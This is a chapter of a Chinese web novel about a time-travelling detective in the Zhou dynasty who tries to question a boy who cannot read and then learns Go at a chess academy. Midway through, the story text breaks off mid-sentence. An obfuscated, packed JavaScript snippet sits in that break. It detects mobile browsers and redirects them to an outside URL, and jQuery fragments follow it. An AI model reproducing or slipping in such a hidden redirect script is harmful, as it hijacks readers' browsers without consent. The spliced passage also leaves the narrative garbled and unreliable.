39. 学棋
作品:《我在大唐靠刑侦系统成为神探》 白森在一座学舍前追上了于小林,后者肩膀被人拽住时还吓了一跳,等他发现把他拉回去的人是那个造访过林中木屋的女子,他紧张的神色放松下来。
旁边的学舍空无一人,白森二话不说,拉着于小林走进去。
走到学舍的一角,于小林紧紧护着手上的竹篮,一双眼睛盯着白森看。
白森没有对他打任何手势,更是没有浪费精力说话,从竹篮里拿起一小块残碎的木炭块就在地上写“汝能识字否”。
写这几个字时,白森还专门注意沿用原主的知识,以武周王朝的汉字来写,要是写了现代汉字可就不妙了。
于小林又盯着她的脸看了一会儿,才把目光转到白森写的五个字上。
他没动,目光在地上的古汉字和白森脸上游移。
白森拿手里的木炭在地上点了几下,于小林这才蹲下来,拿过白森手上的炭块,在白森那几个字下方一笔一划地写下“汝能识字否”。
看到于小林的回复,白森一愣,又重新写下“请答吾问”。
于小林还是照着写下“请答吾问”。
接下来无论白森写什么,于小林都是照抄,完全没有答复的意思。
白森反应过来,于小林根本不知道每个字背后的意义,而只会原封不动的把文字重新写一遍,写字对他来说就是简单的临摹画画而已。
如此说来,想从于小林这里获取什么信息真是没有什么办法了。
白森用鞋底把地上的字擦除,对于小林苦笑了下,随后摆摆手跟他告别。
走出学舍,白森有意无意地回头看了看,于小林还提着空竹篮站在原地,手里紧捏着木炭块,有些不舍地望过来。
白森突然意识到,于小林可能是误会了,他以为白森找上他,是要教他写字。
她心里翻涌起一阵酸涩,赶紧摇摇头,狠下心离开。
回到天玑棋馆前的场院,已有棋生陆陆续续的从棋馆中出来,脸上或颓丧或欣喜,白森四下里望了望,不见武晴和陈钰雪的影子,就连颜浔那奇怪家伙也没在亭台里,想必是为了登狴犴榜,到什么地方查探线索去了。
眼下也无处可去,白森就在场院里等着,在她前方不远,是守卫森严的天玑棋馆,在阴沉的天空下,这座岿巍的三层高楼显得十分庄重。
白森往后退了几步,找到一株掉光了叶子的梧桐,抱起双臂半倚在树干上,微眯起眼睛打量起眼前这座棋馆。
作为一座对弈用的棋馆,这座建筑显得太过高大宏伟了。
整座棋馆的窗户都以麻纸糊裱,此时二层和三层的窗尽皆紧闭,天气寒凉不假,但在棋馆里使用木炭取暖,这样闭着窗,不怕烧炭中毒么?
“阿白!”前方不远传来陈钰雪的声音。
白森从棋馆上收回视线,往声音来源处看去,只见陈钰雪满脸喜悦,冲她小跑过来。
“我登格成功了!”还没跑到白森面前,陈钰雪就欢呼道,“监院和山长都给我五品用智,只有方殊先生给了我四品通幽,其他先生都给我五品,还有个先生给我六品呢!”
白森对陈钰雪的围棋成绩没兴趣,却也不想泼她冷水,随口回道:“可喜可贺。”
“你知道么,阿白?”陈钰雪喜笑颜开,本就俏丽的面容更好看了,“朱启的棋路变幻莫测,跟他对弈根本捉摸不透他的战法,不过我也只输了他五目,要不是有几手我落子太急,说不定能输得更少。”
“朱启人呢?”白森回头朝棋馆正门口张望,说起来,从入学那日跟他一同去过于铁的木屋后,就再也没跟他打过照面了。
“他跟方殊先生走了,”陈钰雪说,“方先生带他去练棋。”
提到朱启,陈钰雪敛起笑颜,道:“不知怎么,曹监院和欧阳山长不太喜欢朱启,明明他下棋下得那么好。”
朱启出身于贱籍商人的门户,能受这些趋炎附势的老势利眼们待见吗?白森心里这般想着,嘴上却没说什么,只是摇头做无奈状。
棋馆里又有一批参加测试的棋生出来了,武晴也在其中,她的侍女采莲赶紧迎上去。
武晴一脸光彩,应该是升品测试也取得了好结果,一见到不远处的陈钰雪和白森,她就笑着走过来,陈钰雪快步迎上去。
“雪妹,你登格怎么样?”武晴抓着陈钰雪的手问。
“让我先猜晴姐姐的,”陈钰雪笑着说,“一定是顺利升品了吧?”
“嗯,我升上五品用智了,”武晴轻刮了一下陈钰雪的鼻梁,“看你高兴的,也一定是顺利登格了对不对?”
陈钰雪点头,“我也是五品用智了!”
“雪妹真厉害!”武晴喜道,“跟朱启交手能登格成功,整个棋院都没几个新棋生能做到,这话测试前我都不敢跟你说。”
“那也是晴姐姐提点得好,”陈钰雪故作谦逊,“接下来我们可以一起参加秋奕选拔了!”
两个年轻女子挽起手,谈论着测试中的棋局,齐步往中庭广场的方向走去。
白森停在原地没动,看向天玑棋馆的门口。
是颜洵。
他跟在曹景的身侧,往棋馆内走去。
他什么时候回来的?白森不禁疑问。
“阿白!”陈钰雪回头唤道,“走了,跟我们一起去棋馆。”
白森转过身,快步跟上去。
走在陈钰雪身旁,听她和武晴聊着手谈,白森虽听不大懂,但这次她没有走神,找到个她们谈话的缝隙,插嘴问道:“武小姐,天玑棋馆应该不只是一座棋馆吧?”
武晴虽没想到白森为什么会突然问起此事,却也没多想,回道:“当然,那座棋馆上面两层是藏书阁,里面有很多棋经棋谱,好些书除了鸿清棋院,在其他地方都看不到。”
难怪那座楼二三层的窗户紧闭,原来是藏书阁。
陈钰雪忽而道:“晴姐姐,我听说,藏书阁里有处地方放着鸿清棋院成立以来,在棋院内出现过的经典弈局的棋谱,不知是真是假。”
“是真的,棋院是有这传统,”武晴点头道,“无论是谁,只要在有教习督棋的场合下,能下出一局足够精彩的对弈,就会找藏书阁的校书郎前来记录棋局,做成棋谱存于藏书阁中,接下来的秋奕选拔赛,藏书阁的校书郎们可有得忙了,每一场棋他们都得盯着,把绝妙的对弈记录下来。”
“这规矩立得真好,”陈钰雪感慨道,“有些精妙绝伦的对局,可能是棋手一辈子才能下出来一次的,能保存下来,真好。”
白森一颤。
棋手用尽一生可能才下出一次的绝妙对局,这话让她有些微触动。
这一瞬间,她终于有些理解陈钰雪、朱启、武晴他们对手谈之艺的热爱了。
白森伴着陈钰雪二人找到一座空闲的棋馆,想着眼下也无事,便静坐在一旁看两个女子复盘刚才的测试对局。
白森从未关注过围棋,一些对弈的基本规则只是粗浅听说过,但根本没记在心里,陈钰雪和武晴见她在一旁观看,便热忱的给她说起一些围棋常识。
“棋盘有纵横十九条线,纵横相交处称为‘目’,”陈钰雪道,“简单说来,对弈的二人谁围住的‘目’更多,谁就赢。”
她看了看白森,笑道:“弈海局除外。”
白森记得她说过的弈海局,那是要比较谁留在棋盘上的活子更多,只有让己方存活的棋子比对手多,才能成为棋局的最终胜者。
武晴拿起一枚白色棋子,随意放在棋盘中一个交叉点上,说:“一枚棋子落在棋盘上,在棋子周围相邻的交叉点上便有了‘气’,一旦棋子的‘气’全部被对手占据,这枚棋子就成了死子,要被提出棋盘外,这便是提子。”
武晴一边说着,一边在棋盘上那枚白色棋子周围的四个交叉点上放上四枚黑子,这样一来,黑子对白子形成了合围之势,她两指夹起中间的白子,将其拿出棋盘。
将白子提出后,四枚黑子中间余下一块空白,武晴抬手指向那处空白地,道:“你看,这个地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175538|162531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所有的‘气’都被黑子占住了,所以后续的对局中任何一枚白子都不能落在此地。”
白森点点头。
“这就是手谈最基本的规则,”武晴道,“是不是很简单?”
“听起来是没有多难理解。”白森挠了挠脑袋道。
“要不要来试着手谈一局?”武晴见白森似懂非懂的样子,诚挚的相邀道,“手谈之艺说难不难,说易也绝不易,只有多上手才能入门。”
白森没拒绝,到陈钰雪身旁坐下来。
武晴把装白棋的棋盒推到白森手边,“你执白先行。”
白森拿起一枚棋子,看着空白的棋盘也不知道把棋子放在哪儿,最后索性往棋盘中心处一放。
陈钰雪和坐在对面的武晴低声笑了起来。
“白姑娘,”武晴边笑边说,“第一手下在天元不是不行,但,这不是一着好棋。”
“哦?”白森不解。
坐在她身旁的陈钰雪抬手指着棋盘上的九个黑点,说:“这几个点称为‘星位’,棋盘中心的‘星位’称为‘天元’,第一手棋下在天元,很难做活不说,对你的对手也是种冒犯,以前有人给我说过,弈者,一定要有风骨,所以第一手棋切记不要下在天元上。”
“白姑娘,落子无悔,哪怕你下在天元也不能收回去哦,”武晴笑着说,随手把一枚黑子放在棋盘上一处星位附近,“到我了。”
这盘棋多亏了陈钰雪在一旁指教,连初学者都不算的白森与武晴下了个难解难分,最后是白森自认已窥探到手谈的门路,固执的不听陈钰雪的建议,将一手棋下在武晴布好的圈套中,导致满盘皆输。
白森从棋盘边站起身来,第一次觉得这黑白二子加一块纵横十九道线的棋盘如此有趣。
陈钰雪和武晴重开一局,白森坐到一旁,静静看两人对弈。
不得不说,陈钰雪的棋艺确实值得称道,即便是白森这样的外行,也能看出她棋风灵动,杀伐果断,武晴明显不是她的对手,勉力支撑了半局后投子告负。
“承让,晴姐姐。”陈钰雪拱手,确有弈者风范。
武晴心性豁达,没有什么挂不住的,赞叹道:“雪妹小小年纪就有这般实力,假以时日未必不能成为曹监院那样的棋士,我们大周,还没听说一个达到九品守拙的女棋士呢。”
陈钰雪脸上微红,垂下目光,“晴姐姐过誉了。”
武晴又赞扬了几句,把棋盘上的棋子收起,想与陈钰雪再来一局,她的侍女采莲走上前来,提醒道:“小姐,先去用夕食吧。”
武晴朝陈钰雪和白森笑道:“瞧我,棋逢对手,连饭都顾不上吃了。”
“看得出晴姐姐真是很爱下棋。”陈钰雪说。
“是啊,手谈是家母的挚爱,”武晴道,“我从小跟着家母学棋,对此艺自然是很有兴趣。”
两人说笑着,起身往膳堂走去,白森和采莲并肩跟在后面。路上,武晴提出平日里若陈钰雪方便,想邀她多下几局。
“雪妹棋艺了得,多跟你对弈,我的棋艺必能得到提升。”武晴诚恳道。
“是晴姐姐谬赞了,”陈钰雪垂眸谦逊道,“承蒙晴姐姐看得上,我非常愿意。”
“那就说好了,每日午后,我们找个棋馆对弈,”武晴高兴地道,“马上就是秋奕选拔了,我要抓紧提升才是。”
走在后面的白森见陈钰雪始终不提举荐加入会稽诗社的事,紧走两步,不停地冲陈钰雪使眼色,陈钰雪却始终视而不见。
搞什么鬼?白森心头不满。
快到膳堂,武晴说用完夕食想去一趟浴房,她便带着采莲回寝房去拿换洗衣物了。
待她们走远,不待白森说什么,陈钰雪先道:“诗社的事,我放在心上的,你别担心。”
“你打算什么时候提出来?”白森问。
“我自有打算。”陈钰雪看向白森,眼神中没了一直以来的娇美纤柔,却更显得沉毅。
她重复了一遍,“你别担心。”